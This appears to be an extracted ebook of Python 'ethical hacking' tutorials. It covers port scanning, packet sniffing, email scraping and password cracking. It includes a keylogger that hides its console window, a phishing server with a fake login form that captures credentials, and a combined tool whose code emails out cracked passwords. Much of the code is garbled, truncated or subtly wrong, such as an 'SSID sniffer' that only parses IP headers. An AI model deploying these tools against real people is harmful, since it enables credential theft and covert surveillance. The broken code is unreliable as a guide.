Top 10 Hacking Scripts in Python, C, and ASP - Net - 2 Books in 1
Top 10 Hacking Scripts in Python, C, and ASP - Net - 2 Books in 1
First edition
Contents
Preface
Introduction
Python Basics for Hacking
Script 1 - Port Scanner
Script 2 - FTP Password Cracker
Script 3 - Packet Sniffer
Script 4 - Email Scraper
Script 5 - KeyLogger
Script 6 - Web Scraper
Script 7 - WiFi SSID Sniffer
Script 8 - Phishing Page Creator
Script 9 - Brute Force Password Cracker
Script 10 - Network Vulnerability Scanner
Project: A Penetration Testing Tool
Conclusion
Python Cheat Sheet
Download the Code Examples
As you set off on this ethical hacking adventure, let this book
serve as your compass, leading you toward your goals. Armed
with the necessary tools and the right mindset, you’re all set
to delve into the intriguing world of cybersecurity.”
I
Book 1: Python Hacking
W
elcome aboard the intriguing and pragmatic
educational adventure. Regardless of one’s past
experience or knowledge base, this course serves as a
portal into the captivating universe of ethical hacking viewed
through the Python programming lens.
Overview
Embarking on this course, you set sail on an exploratory
voyage into the sphere of ethical hacking, utilizing Python.
The curriculum has been meticulously devised to offer an
immersive, comprehensive, and crystal-clear learning
experience to pupils at all stages.
But it’s not just about breaking into systems. Ethical hackers
also test how well a system can keep running if it’s under
attack. This is like pushing how well a ship can stay afloat in a
storm. After all, it’s not very helpful to have a ship that sinks
at the first sign of bad weather!
Syntax
P
ython syntax is the set of rules that dictate how Python
programs are written. It’s like the grammar of the
language. Thankfully, Python syntax is clean and
straightforward. Let’s write a simple Python program.
1. Open Visual Studio Code.
2. Create a new file and save it as hello_world.py.
3. Type the following into the file:
print("Hello, World!")
Variables
Variables are like containers for storing data. They can hold
different types of data, such as numbers, strings, lists, etc.
Here’s how you create a variable in Python:
Create a new file in Visual Studio Code and name it
variables.py.
Type the following into the file:
message = "Hello, Python!" print(message).
Save the file and run it. You should see “Hello, Python!”
printed in the Terminal.
Data Types
Python has several built-in data types. The most common
ones you’ll use are:
1. Integers, e.g., 5
2. Floating-point numbers, e.g., 5.0
3. Strings, e.g., “Hello, Python!”
4. Lists, e.g., [1, 2, 3]
5. Dictionaries, e.g., {“name”: “John”, “age”: 30}
You can check the type of a variable using the type() function.
For example:
Create a new file in Visual Studio Code and name it
datatypes.py.
Type the following into the file:
import requests
response = requests.get('https://www.python.org')
print(response.status_code)
Save the file and run it. You should see 200 printed in the
terminal, which is the HTTP status code for “OK”.
The above code snippet utilizes the command import requests
to load Python’s requests library. This allows us to execute an
HTTP GET request to the website https://www.python.org
using requests.get(). The server’s reply is captured and placed
in the response variable. The HTTP status code for the
response is then output using response.status_code.
What is a Network?
Imagine you’re in a room with your friends, and you’re all
talking to each other. In a way, you’ve created a “network” -
a network of communication. Similarly, when computers are
connected so they can share information, they form a
“computer network”.
IP Address
Each computer on a network has a unique identifier, known
as an IP (Internet Protocol) address. It’s like a house address
but for computers. An IP address allows computers to find
and communicate with each other.
Windows:ipconfig
Mac or Linux:ifconfig
Ports
Each computer has multiple “doors” for communicating with
the outside world. These are known as “ports”. Ports are used
by software applications to send and receive data. There are
many different ports, each designated by a number and
associated with specific types of data.
Pinging a Server
“Pinging” is a way to check if you can reach another
computer on a network. It’s like shouting someone’s name to
see if they respond.
Y
ou might be wondering, what exactly are these network
ports we keep mentioning?
Picture a big hotel with hundreds of rooms. Each room has its
unique number so guests can find their way. Network ports
are a bit like those hotel rooms but for a computer. They’re
virtual, not physical, and they’re used for organizing data.
Just as you wouldn’t send all hotel guests to the same room, a
computer doesn’t send all data to the same port. Different
types of data are sent to different ports. For instance, web
data is usually sent to port 80 (HTTP) or 443 (HTTPS), while
email data might go to port 25 (SMTP).
Like hotel rooms, ports have numbers. There are over 65,000
ports - a much bigger hotel than you’re likely ever to visit!
They are divided into three ranges:
Well-known ports (0-1023): These are like VIP rooms.
They’re used by standard protocols like HTTP (port 80)
and HTTPS (port 443).
Registered ports (1024-49151): These are the standard
rooms. They’re often used by software applications.
Dynamic or private ports (49152-65535): These are like
backrooms, often used for temporary connections.
It’s crucial to know which ports are open (accepting data) on
a network because open ports can be like open doors for
hackers. And that’s where our first script, the port scanner,
comes into play. It helps us identify open ports. But don’t
worry, we’ll go into the details of that in the next section.
target = "localhost"
Now let’s create our port scanner. We’ll use a for loop to
try connecting to each port in a range. If the connection is
successful, the port is open. If not, the port is closed.
Save your file and run the script.
import socket
target = 'localhost'
port = 80
# Create a socket object
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# Set a timeout
s.settimeout(5)
def port_scanner(port):
if s.connect_ex((target, port)):
print("The port is closed")
else:
print("The port is open")
port_scanner(port)
OUTPUT:
0
The port is closed
1
The port is closed
2
The port is closed
3
The port is closed
4
The port is closed
5
The port is closed
6
The port is closed
7
The port is closed
8
Here’s how the script works:
We create a socket object s. The arguments
socket.AF_INET and socket.SOCK_STREAM specifies
that we want to use an Internet socket (as opposed to a
Unix socket) and TCP.
We set a timeout of 5 seconds. This means if a connection
to a port doesn’t respond within 5 seconds, the script will
move on.
We define a function port_scanner that attempts to
connect to a specified port on the target computer.
If s.connect_ex() returns 0, the port is open. If it returns
anything else, the port is closed.
Finally, we use a for loop to scan the first 1024 ports of
the target computer.
This is a simple port scanner, but be careful not to misuse it.
Always ensure you have permission before scanning any
network or system.
import socket
import threading
def port_scanner(port):
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
con = s.connect((target,port))
print(f'The port {port} is open')
con.close()
except:
pass
OUTPUT
Enter the target IP address to scan: localhost
The port 135 is open
The port 445 is open
Here’s how our improved script works:
The input function allows the user to type the target IP
address. We’ve moved the creation of the socket object
and the settimeout function into our port_scanner
function. This is because each thread needs its own socket
object.
We create a new thread for each port scan. The threading.
The thread function creates a new thread, and the start
function starts it. The target parameter is the function we
want the thread to run, and the args parameter is a tuple
of arguments to pass to that function.
With these improvements, our port scanner is now faster and
more flexible.
import socket
import threading
def port_scanner(port):
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
con = s.connect((target,port))
print(f'The port {port} is open')
con.close()
except:
pass
Troubleshooting
To help you find a resolution, here is a step-by-step process:
1. Lexical Accuracy: Verify that your script is lexically
correct. Even a minor character omission could lead to
failure.
2. Port Spectrum: Check the range of ports covered by your
scanner. It should be within the valid port range of 0-
65535. Scanning a wide range may consume time and
resources.
3. Script Timeout: If your script appears to stall
indefinitely, it may be due to prolonged waiting periods
for responses from specific ports. Consider setting a
timeout threshold to keep your script progressing.
4. Firewall or Security Software: Firewalls or security
software can obstruct port scanning attempts. Review
your settings or temporarily deactivate them to identify if
they are causing the issue.
5. Network Connectivity: Ensure that your network
connection is stable. Connectivity issues can render your
script ineffective.
6. Target Server Status: Check the operational status of the
server. Closed ports may indicate that the server is non-
functional.
7. Rate Limiting: Some networks impose restrictions on
rapid successive connections, affecting the outcome of a
port scan. Consider moderating the scanning rate.
8. Permissions: Certain port scan styles require higher
permissions. Verify that your script has the necessary
permissions to execute the scan.
9. Legality and Ethics: Always keep in mind that
unauthorized port scanning may be illegal and against
the terms of service for many networks. Obtain proper
authorization before scanning.
If these steps do not resolve the issue, you may want to search
for examples or resources specific to your script’s language or
framework. Additionally, seeking help from relevant
programming or networking forums can be valuable.
L
et’s have a chat about FTP or File Transfer Protocol. FTP
is a network protocol that transfers files between a client
and a server over a network. Think of it like a postal
service for your computer files. You’re sending data from
point A to point B over the vast world of the internet.
FTP sounds simple enough, right? But here’s the rub: FTP was
designed in the early days of the Internet when security
wasn’t a primary concern. FTP sends your data, including
sensitive info like your username and password, in plain text.
In other words - not secure. It can be easily read by hackers,
spies, or whoever intercepts that data. So if sensitive info is
being sent, stronger security measures should be taken.
host = 'localhost'
username = 'user'
passwords = ['123', 'password', 'secret']
host = 'localhost'
username = 'user'
passwords = ['123', 'password', 'secret']
def read_passwords(file):
with open(file, 'r') as f:
passwords = f.read().splitlines()
return passwords
host = 'localhost'
username = 'user'
passwords = read_passwords('passwords.txt')
T
o have a grasp on how a packet sniffer works, it’s vital to
first understand what network packets are.
s = socket.socket(socket.AF_INET, socket.SOCK_RAW,
socket.IPPROTO_IP)
s.bind(("localhost", 0))
Configure the Socket: We want to include the IP headers
in our captured packets and set the socket in promiscuous
mode. This allows it to capture all packets, not just those
destined for it. Write these lines:
s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL,
1)s.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON)
try:while True:print(s.recvfrom(65565))except
KeyboardInterrupt:s.ioctl(socket.SIO_RCVALL,
socket.RCVALL_OFF)print("\nPacket sniffing stopped.")
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_RAW,
socket.IPPROTO_IP)
s.bind(("localhost", 0))
s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
s.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON)
try:
while True:
print(s.recvfrom(65565))
except KeyboardInterrupt:
s.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF)
print("\nPacket sniffing stopped.")
Output
The data will look like a mess, but don’t worry! In the next
sections, we’ll decode this data and make sense of what we’re
seeing.
import struct
import textwrap
try:while True:raw_data,
addr = s.recvfrom(65565)unpack_packet(raw_data)except
KeyboardInterrupt:s.ioctl(socket.SIO_RCVALL,
socket.RCVALL_OFF)print("\nPacket sniffing stopped.")
import socket
import struct
import textwrap
def format_data(data):
return '\n'.join(row for row in textwrap.wrap(data, width=80))
def unpack_packet(packet):
ip_header = packet[0:20]
iph = struct.unpack('!BBHHHBBH4s4s' , ip_header)
version_ihl = iph[0]
version = version_ihl >> 4
ihl = version_ihl & 0xF
iph_length = ihl * 4
ttl = iph[5]
protocol = iph[6]
s_addr = socket.inet_ntoa(iph[8]);
d_addr = socket.inet_ntoa(iph[9]);
data = packet[iph_length:]
print('Data : ' + format_data(data.decode(errors ='ignore')))
s = socket.socket(socket.AF_INET, socket.SOCK_RAW,
socket.IPPROTO_IP)
s.bind(("localhost", 0))
s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
s.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON)
try:
while True:
raw_data, addr = s.recvfrom(65565)
unpack_packet(raw_data)
except KeyboardInterrupt:
s.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF)
print("\nPacket sniffing stopped.")
Output
And that’s it! Your packet sniffer is now much more useful.
When you run it, it will show you detailed information about
each packet it captures, in a format you can understand. As
always, be responsible with this power. Use it to learn and
improve network security, not to spy on others.
import socket
import struct
import textwrap
def format_data(data):
return '\n'.join(row for row in textwrap.wrap(data, width=80))
def unpack_packet(packet):
ip_header = packet[0:20]
iph = struct.unpack('!BBHHHBBH4s4s' , ip_header)
version_ihl = iph[0]
version = version_ihl >> 4
ihl = version_ihl & 0xF
iph_length = ihl * 4
ttl = iph[5]
protocol = iph[6]
s_addr = socket.inet_ntoa(iph[8]);
d_addr = socket.inet_ntoa(iph[9]);
data = packet[iph_length:]
data_size = len(data)
if data_size > 5000 and protocol == 80:
print('WARNING: Suspicious activity detected: large packet
size')
print('Data : ' + format_data(data.decode(errors ='ignore')))
s = socket.socket(socket.AF_INET, socket.SOCK_RAW,
socket.IPPROTO_IP)
s.bind(("localhost", 0))
s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
s.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON)
try:
while True:
raw_data, addr = s.recvfrom(65565)
unpack_packet(raw_data)
except KeyboardInterrupt:
s.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF)
print("\nPacket sniffing stopped.")
Output
E
mail scraping is the process of gathering email addresses
from the internet. You might question the purpose, but
the fact is that email addresses have a wide range of uses,
from marketing to research, and unfortunately, undesired
activities like spamming.
Don’t let the name put you off - email scraping can be a
powerful tool for targeted marketing or research. Just be sure
to use it ethically and responsibly.
However, let’s clarify right off the bat that using the
techniques described in this course for spamming or any
other unauthorized activities is not ethical or legal. So, always
make sure to follow good internet etiquette and legal
requirements when scraping email addresses.
import re
import requests from bs4
import BeautifulSoup
email_regex = r"[a-z0-9\.\-+_]+@[a-z0-9\.\-+_]+\.[a-z]+"emails =
re.findall(email_regex, str(soup))print(emails)
Run your script, and you should see a list of all email
addresses found on your local HTML page.
Remember to only use this email scraper for ethical and legal
activities. Always respect others’ privacy and the terms of
service of the websites you are scraping from.
def scrape_emails(file):
try:
# Open the local HTML file
with open(file, 'r') as file:
content = file.read()
except Exception as e:
print(f"An error occurred: {e}")
I
n our journey into the world of hacking scripts, it’s crucial
to touch upon a notorious one known as keylogging. Now,
what’s a keylogger? In essence, a keylogger is a tool or a
script that captures every keystroke made on a keyboard. It
operates like an undercover agent, discreetly recording
everything you type: passwords, messages, emails, credit
card numbers - you name it. Pretty alarming, right?
Now, when you run this script, it will print out the name of
each key you press on your keyboard. This is a very basic
keylogger that simply logs and prints the keystrokes.
def on_press(key):
print(f"{key} pressed")
ctypes.windll.user32.ShowWindow(ctypes.windll.kernel32.GetCo 0)
import ctypes
from pynput.keyboard import Key, Listener
ctypes.windll.
user32.
ShowWindow(ctypes.windll.kernel32.GetConsoleWindow(), 0)
def on_press(key):
key = str(key).replace("'", "")
if key == 'Key.space':
key = ' '
elif key == 'Key.enter':
key = '\n'
Objective:
Our project’s goal is to write a Python script that can detect a
running keylogger on our system and neutralize it. To make
this more interesting, we’ll first launch our keylogger (which
we created in the previous sections), and then create another
Python program to stop it.
# DetectingPythonProcesses.py
import psutil
def detect_python_processes():
print("Detecting running Python processes...\n")
if __name__ == "__main__":
detect_python_processes()
def kill_process(pid):
print(f"Attempting to kill process with PID: {pid}...")
try:
os.kill(pid, signal.SIGTERM)
print(f"Process with PID: {pid} has been terminated.")
except ProcessLookupError:
print(f"No running process with PID: {pid}.")
if __name__ == "__main__":
pid = int(input("Enter the PID of the process to terminate:
"))
kill_process(pid)
This will send the SIGTERM signal to the process with the
PID you specify, causing it to terminate.
To use this script, you can run it in your terminal, and it will
print out all running Python processes along with their PIDs.
In this script, you can input the PID of the process you want
to terminate. Make sure to replace the value of pid with the
actual PID of the process you want to terminate. If the process
is running and is successfully terminated, it will print out a
success message. If no process with the specified PID is
found, it will print out a message indicating so.
T
he internet offers a treasure trove of information, but
accessing it effectively is vital. Have you ever pondered
how to systematically extract valuable information for
your use? Well, that’s where web scraping comes in.
But there’s a catch! Not all websites allow web scraping. Some
websites have rules on robot.txt files that do not allow web
scrapers. So, knowing the legal and ethical considerations is
essential before diving in. Always respect the website’s rules,
don’t overload the website with too many requests, and never
use the data you’ve gathered for unethical purposes.
response = requests.get(url)
import requests
from bs4 import BeautifulSoup
url = 'https://www.devwebtuts.com/'
response = requests.get(url)
soup = BeautifulSoup(response.text, 'html.parser')
paragraphs = soup.find_all('p')
for para in paragraphs:
print(para.text)
Run this script, and it will print out the text of every
paragraph on the page. This is a very basic example of what
web scraping can do. But we can scrape almost any kind of
data from a webpage with more advanced techniques.
import requests
from bs4 import BeautifulSoup
url = 'https://www.devwebtuts.com'
response = requests.get(url)
if response.status_code != 200:
print("Failed to access website")
else:
soup = BeautifulSoup(response.text, 'html.parser')
paragraphs = soup.find_all('p')
text = ""
for para in paragraphs:
text += para.text + '\n'
save_to_file(text, 'scraped_data.txt')
Now, when you run your script, instead of printing the text to
the console, it’ll be saved in a text file named
scraped_data.txt. This way, you can easily keep and examine
the data you’ve scraped.
Here’s the task. We’ll scrape a blog page, searching for all the
blog post titles and their respective authors. Then, we’ll save
this data to a text file. This kind of data could be useful for all
sorts of purposes, from market research to sentiment
analysis.
Start by opening your existing WebScraper.py file.
We’re going to be scraping for blog post titles and
authors, so let’s change our BeautifulSoup logic:
import requests
from bs4 import BeautifulSoup
url = 'https://www.devwebtuts.com'
response = requests.get(url)
if response.status_code != 200:
print("Failed to access website")
else:
soup = BeautifulSoup(response.text, 'html.parser')
titles = soup.find_all('h4')
authors = soup.find_all(class_='card-text')
data = ""
for i in range(len(titles)):
data += f"Title: {titles[i].text}, Author:
{authors[i].text}\n"
save_to_file(data, 'blog_data.txt')
Output
This script goes to a blog page, finds the blog post titles and
authors, and saves them to a text file. Run your script and
open blog_data.txt to see the data you’ve collected! This is
just one example of the countless ways you can use web
scraping for data collection.
Script 7 - WiFi SSID Sniffer
Y
ou’ve probably seen a list of Wi-Fi networks pop up on
your phone or computer when you’re trying to connect to
the internet. But how does your device find those
networks? It’s through a process called Wi-Fi sniffing. Let’s
explore this a little bit more.
import socket
import struct
Next, let’s create a raw socket that can receive all types of
packets:
def create_socket():
try:
s = socket.socket(socket.AF_INET, socket.SOCK_RAW,
socket.IPPROTO_TCP)
except socket.error as msg:
print('Socket could not be created. Error Code: ' +
str(msg[0]) + ' Message ' + msg[1])
sys.exit()
return s
Now we can use this socket to capture packets and try to
extract SSID information from them:
def sniff(s):
while True:
packet = s.recvfrom(65565)
packet = packet[0]
# We'll parse the packet using struct
ip_header = packet[0:20]
iph = struct.unpack('!BBHHHBBH4s4s' , ip_header)
version_ihl = iph[0]
version = version_ihl >> 4
ihl = version_ihl & 0xF
iph_length = ihl * 4
ttl = iph[5]
protocol = iph[6]
s_addr = socket.inet_ntoa(iph[8])
d_addr = socket.inet_ntoa(iph[9])
def create_socket():
try:
s = socket.socket(socket.AF_INET, socket.SOCK_RAW,
socket.IPPROTO_TCP)
except socket.error as msg:
print('Socket could not be created. Error Code: ' +
str(msg[0]) + ' Message ' + msg[1])
sys.exit()
return s
def sniff(s):
while True:
packet = s.recvfrom(65565)
packet = packet[0]
# We'll parse the packet using struct
ip_header = packet[0:20]
iph = struct.unpack('!BBHHHBBH4s4s' , ip_header)
version_ihl = iph[0]
version = version_ihl >> 4
ihl = version_ihl & 0xF
iph_length = ihl * 4
ttl = iph[5]
protocol = iph[6]
s_addr = socket.inet_ntoa(iph[8])
d_addr = socket.inet_ntoa(iph[9])
import socket
import struct
import textwrap
def main():
s = socket.socket(socket.AF_PACKET, socket.SOCK_RAW,
socket.ntohs(3))
while True:
raw_data, addr = s.recvfrom(65536)
dest_mac, src_mac, eth_proto, data = ethernet_frame(raw_data)
print('\nEthernet Frame:')
print('Destination: {}, Source: {}, Protocol:
{}'.format(dest_mac, src_mac, eth_proto))
# 8 for IPv4
if eth_proto == 8:
(version, header_length, ttl, proto, src, target, data) =
ipv4_packet(data)
print('IPv4 Packet:')
print('Version: {}, Header Length: {}, TTL:
{}'.format(version, header_length, ttl))
print('Protocol: {}, Source: {}, Target: {}'.format(proto,
src, target))
g ))
# TCP
if proto == 6:
src_port, dest_port, sequence, acknowledgement, offset,
data = tcp_segment(data)
print('TCP Segment:')
print('Source Port: {}, Destination Port:
{}'.format(src_port, dest_port))
print('Sequence: {}, Acknowledgement:
{}'.format(sequence, acknowledgement))
if len(data) > 0:
# Other Data
print('Data:')
print(format_multi_line('\t\t', data))
main()
This is just a simple example. There’s a lot more data in each
packet that we could decode if we wanted to. The struct
library and a reference for the format of network packets are
your friends here.
P
hishing is a fraudulent technique in which sensitive
details such as usernames, passwords, and credit card
data are extracted from people by deceiving them.
Attackers try to mimic familiar entities in online
communication channels, such as emails or websites, to gain
their trust. Ensure that you are careful and vigilant to avoid
falling for such scams.
Let’s start:
Open your Visual Studio Code and create a new Python
file. Let’s name it phishing_page_creator.py.
Import necessary Python standard libraries.
import http.server
import socketserver
import threading
class CustomHandler(http.server.SimpleHTTPRequestHandler):
def do_POST(self):
content_length = int(self.headers['Content-Length'])
post_data = self.rfile.read(content_length)
print(post_data.decode())
self.send_response(200)
self.end_headers()
Next, we will define a function to start our server.
def start_server(port=8080):
handler = CustomHandler
server = socketserver.TCPServer(("", port), handler)
server_thread = threading.Thread(target=server.serve_forever)
server_thread.start()
print(f'Server started at localhost:{port}')
Once everything is set up, you can run your Python server
script and open the index.html in your web browser. When
you submit the form, the server will print the data that was
posted.
# phishing_page_creator.py
import http.server
import socketserver
import threading
class CustomHandler(http.server.SimpleHTTPRequestHandler):
def do_POST(self):
content_length = int(self.headers['Content-Length'])
post_data = self.rfile.read(content_length)
print(post_data.decode())
self.send_response(200)
self.end_headers()
def start_server(port=8080):
handler = CustomHandler
server = socketserver.TCPServer(("", port), handler)
server_thread = threading.Thread(target=server.serve_forever)
server_thread.start()
print(f'Server started at localhost:{port}')
start_server()
<!DOCTYPE html>
<html>
<body>
<h2>Fake Login Form</h2>
<form action="http://localhost:8080" method="post">
<div class="container">
<label for="uname"><b>Username</b></label>
<input type="text" placeholder="Enter Username" name="uname"
required>
<br/>
<label for="ps .,.><b>Password</b></label>
<input type="password" placeholder="Enter Password" name="psw"
required>
<br/>
<button type="submit">Login</button>
</div>
</form>
</body>
</html>
Output
class CustomHandler(http.server.SimpleHTTPRequestHandler):
def do_GET(self):
if self.path == '/':
self.path = '/fake_form.html'
return http.server.SimpleHTTPRequestHandler.do_GET(self)
def do_POST(self):
content_length = int(self.headers['Content-Length'])
post_data = self.rfile.read(content_length)
print(post_data.decode())
self.send_response(200)
self.end_headers()
def start_server(port=8080):
handler = CustomHandler
server = socketserver.TCPServer(("", port), handler)
server_thread = threading.Thread(target=server.serve_forever)
server_thread.start()
print(f'Server started at localhost:{port}')
start_server()
# phishing_page_creator.py
import http.server
import socketserver
import threading
import os
class CustomHandler(http.server.SimpleHTTPRequestHandler):
def do_GET(self):
if self.path == '/':
self.path = '/fake_form.html'
return http.server.SimpleHTTPRequestHandler.do_GET(self)
def do_POST(self):
content_length = int(self.headers['Content-Length'])
post_data = self.rfile.read(content_length)
print(post_data.decode())
self.send_response(200)
self.end_headers()
def start_server(port=8080):
handler = CustomHandler
server = socketserver.TCPServer(("", port), handler)
server_thread = threading.Thread(target=server.serve_forever)
server_thread.start()
print(f'Server started at localhost:{port}')
start_server()
<!-- fake_form.html -->
<!DOCTYPE html>
<html>
<head>
<title>Fake Login Form</title>
<style>
/* Add your CSS here to make the page look like a real login
page*/
</style>
</head>
<body>
<form action="http://localhost:8080"method=..post">
<!-- Add more fields here to make the form look more realistic-->
<input type="text .. name=..username" placeholder=..Username"
required><br>
<input type="password.. name="password.. placeholder="Password..
requi red><br>
<input type="submit" value=..Login">
</form>
</body>
</html>
Output
With these modifications, you have a more believable
phishing page.
def fetch_page(url):
conn = http.client.HTTPSConnection(url)
conn.request("GET", "/")
response = conn.getresponse()
return response.read().decode()
def is_phishing_page(html_content):
for keyword in KEYWORDS:
if re.search(keyword, html_content, re.I): # re.I makes the
search case-insensitive
return True
return False
def check_page(url):
html_content = fetch_page(url)
if is_phishing_page(html_content):
print(f"WARNING: The page at {url} may be a phishing page!")
else:
print(f"The page at {url} does not appear to be a phishing
page.")
# Example usage:
check_page("localhost:8080")
This script will fetch the page at the specified URL and
print a warning if it might be a phishing page.
Testing the Script: Run the script against different URLs
and observe the output. Remember that this is a very
basic example and may give false positives (flagging
legitimate pages as phishing) or false negatives (not
flagging actual phishing pages).
# phishing_detection.py
import http.client
import re
def is_phishing_page(html_content):
for keyword in KEYWORDS:
if re.search(keyword, html_content, re.I): # re.I makes the
search case-insensitive
return True
return False
def check_page(url):
html_content = fetch_page(url)
if is_phishing_page(html_content):
print(f"WARNING: The page at {url} may be a phishing page!")
else:
print(f"The page at {url} does not appear to be a phishing
page.")
# Example usage:
check_page("localhost:8080")
With this simple project, we’ve taken a step toward
understanding how cybersecurity tools can help detect
harmful phishing pages. Developing a full-fledged phishing
detector would require more sophisticated techniques,
potentially including machine learning algorithms, to
analyze page contents more effectively and accurately.
Script 9 - Brute Force Password
Cracker
H
ave you ever questioned how hackers gain access to
accounts? One typical approach is via what’s called a
brute force attack. While the term may seem
intimidating, fear not, it’s rather straightforward.
First, open Visual Studio Code (or your preferred text editor).
Let’s start coding:
Initialize your list of passwords: Our password cracker
will compare a provided “password” against a list of
possible passwords. To keep things simple, we’re going to
hardcode this list directly into our script:
true_password = "qwerty"
This else clause is associated with the for loop, not the if
statement. It runs when the for loop has exhausted all
possibilities without finding a match.
Putting it all together, our simple brute-force password
cracker should look something like this:
import time
Add a timer: Before we start our brute force attempt,
we’ll record the current time. Then, once the password
has been found (or all attempts have been exhausted),
we’ll record the time again. The difference between these
two times is the amount of time it took to find the
password:
start_time = time.time()
# Our brute force algorithm goes here...
end_time = time.time()
Complete code
Incorporating these enhancements, our password cracker
now looks like this:
import time
start_time = time.time()
for password in passwords:
print(f"Attempting password: {password}")
if password == true_password:
print(f"Password has been cracked! It's '{password}'.")
break
else:
print("Failed to crack the password.")
end_time = time.time()
def password_checker(input_password):
failed_attempts = 0
while input_password != true_password and failed_attempts <
max_failed_attempts:
failed_attempts += 1
input_password = input("Enter password: ")
if failed_attempts == max_failed_attempts:
print(f"Too many failed attempts. System locked for 10
seconds.")
time.sleep(10)
failed_attempts = 0
if input_password == true_password:
print("Access granted.")
else:
print("Access denied.")
Complete Code:
Putting it all together, we have:
import time
true_password = "qwerty"
max_failed_attempts = 3
def password_checker(input_password):
failed_attempts = 0
while input_password != true_password and failed_attempts <
max_failed_attempts:
failed_attempts += 1
input_password = input("Enter password: ")
if failed_attempts == max_failed_attempts:
print(f"Too many failed attempts. System locked for 10
seconds.")
time.sleep(10)
failed_attempts = 0
if input_password == true_password:
print("Access granted.")
else:
print("Access denied.")
I
n the world of cybersecurity, we often talk about “network
vulnerabilities”.Network vulnerabilities may seem
complex, but they’re quite simple at their core. They are
weaknesses in a system that hackers can exploit for malicious
purposes, leaving it susceptible to data theft, and system
damage, or used as a stepping stone for further attacks.
import socket
import subprocess
def scan(target_ip):
for port in range(1, 1024): # We scan the first 1023 ports as
they are well-known ports
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(1) # We set a timeout for the connection
attempt
sock.connect((target_ip, port)) # We attempt to connect to
the target IP on the current port
print(f'Port {port} is open.')
sock.close()
except:
print(f'Port {port} is close.')
pass
scan('127.0.0.1')
# vuln_scanner.py
This script will now scan the first 1023 ports on your local
machine and print out any that it can successfully connect to.
import socket
import threading
T
his code represents a collection of various utilities that
could be used in ethical hacking scenarios. However, it is
essential to bear in mind that these techniques should
only be employed for legitimate and legal purposes, such as
penetration testing or cybersecurity research. The following
outlines the functionalities offered by this script:
1. Port Scanner: This utility analyzes a target IP address to
identify open ports, which may reveal potentially
exploitable services running on the machine.
2. Packet Sniffer: This component captures network
packets, which can be useful for identifying patterns or
gathering data in a network analysis scenario.
3. Email Extractor: This tool extracts email addresses from
a specified web page. This can be useful for legitimate
purposes, such as collecting contact information for a
public database.
4. Keylogger: This module records keystrokes on the
machine where it is executed. It is a common tool in
malware but can also be used to test system resilience
against these types of attacks.
5. Web Link Extractor: This utility extracts and prints all
hyperlinks from a specified web page.
6. WiFi SSID Capturer: This tool scans visible WiFi networks
in the vicinity.
7. Phishing Page Generator: This module generates a
simple phishing web page. Remember, creating a
phishing page is illegal unless done for educational
purposes or authorized testing.
8. Brute Force Password Decryptor: This tool attempts to
log into a specific website using a password dictionary. It
can be used to evaluate password strength on a site.
9. Network Vulnerability Scanner: This utilizes the nmap
utility to scan a network or machine for vulnerabilities. It
can be used to assess network security.
10. WiFi Deauthentication Attacker: This tool can send
deauthentication packets on a WiFi network to disconnect
devices. It should be used responsibly and within the
bounds of the law.
In all cases, the user is prompted to input the necessary
parameters for each function. For example, the target IP
address for the port scanner or the target URL for the email
extractor. The script continues to request the desired action
from the user until they decide to exit the program.
import socket
import subprocess
import threading
import re
import requests
from bs4 import BeautifulSoup
import os
import time
from scapy.all import *
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from pynput import keyboard
import pythoncom
import urllib.request
print("Starting keylogger...\n")
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = on_keypress
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()
message = MIMEMultipart()
message["From"] = sender_email
message["To"] = email
message["Subject"] = subject
message.attach(MIMEText(body, "plain"))
try:
server = smtplib.SMTP(smtp_server, smtp_port)
server.starttls()
server.login(username, password)
text = message.as_string()
server.sendmail(sender_email, email, text)
server.quit()
print("Passwords sent successfully!")
except smtplib.SMTPAuthenticationError:
print("Failed to authenticate with the email server.")
cracked_passwords = []
if len(cracked_passwords) > 0:
print("Passwords cracked successfully!")
crack_passwords(cracked_passwords)
else:
print("No passwords cracked.")
if __name__ == "__main__":
print("=== Welcome to the Ethical Hacking Tool ===")
print("===========================================")
print("Use this tool responsibly and legally.")
print("===========================================\n")
C
ongrats! You’ve made it to the end of this exciting
journey. You’ve learned a lot about creating various
hacking scripts in Python, understanding their workings,
and enhancing them for better efficiency. Let’s take a quick
trip down memory lane and revisit what we’ve covered.
1. Port Scanner: We learned how to make a script that
checks if certain ports on a host are open. It’s a useful
tool to understand the services running on a machine,
potentially exposing vulnerabilities.
2. FTP Password Cracker: We delved into how data crack
passwords via FTP.
3. Packet Sniffer: We delved into how data moves across
networks with a packet sniffer script. This script
monitors and captures the data packets that pass through
your network interface.
4. Email Scraper: We designed an email scraper script that
extracts email addresses from a webpage. It’s important
to be mindful of privacy and legal issues while using this
script.
5. Keylogger: We created a keylogger script that tracks and
records keystrokes. This helped us understand how
malicious keyloggers work so we can better protect
ourselves.
6. Web Scraper: We learned how to extract data from
websites with a web scraper script. Such a script can be
very useful for automated data collection.
7. Wi-Fi SSID Sniffer: We ventured into network security
with a script that sniffs and displays nearby Wi-Fi SSIDs.
It’s a neat tool for understanding wireless network
environments.
8. Phishing Page Creator: We created a simple phishing
page to grasp how attackers trick victims into revealing
sensitive information. This knowledge can help us
recognize and avoid such threats.
9. Brute Force Password Cracker: We crafted a brute force
password cracker, emphasizing the importance of strong,
unique passwords.
10. Network Vulnerability Scanner: We developed a script to
scan for vulnerabilities within a network. This aids in
early detection and timely remediation of security
weaknesses.
Throughout this journey, we’ve not only learned how these
scripts are made but also how they can be used maliciously.
